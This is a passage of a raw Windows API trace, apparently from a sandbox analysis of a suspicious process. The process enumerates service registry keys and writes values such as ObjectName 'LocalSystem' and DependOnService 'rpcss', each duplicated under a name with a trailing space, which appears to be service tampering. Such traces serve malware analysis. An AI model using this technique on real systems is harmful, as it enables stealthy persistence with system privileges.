[0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.387] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.387] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.388] RegCloseKey (hKey=0x154) returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0228.388] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0228.388] RegCloseKey (hKey=0xc4) returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0228.388] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0228.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0228.389] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.389] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.390] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.390] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.390] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.390] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.390] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.390] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.390] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0228.390] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0228.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0228.390] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4730 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46e8 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f46a0 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d358 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4658 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f45c8 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4580 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3f8 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4538 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0228.391] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f44a8 [0228.392] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4460 [0228.392] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0228.392] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0228.392] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157010 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0228.392] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x2157020 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0228.392] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4808) returned 1 [0228.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4808 [0228.392] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.393] RegSetValueExA (in: hKey=0xc4, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4778 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0228.393] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0228.393] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0228.394] RegEnumValueA (in: hKey=0x148, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0228.394] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0228.394] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.395] RegSetValueExA (in: hKey=0xc4, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5a8 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0228.395] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0228.395] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, 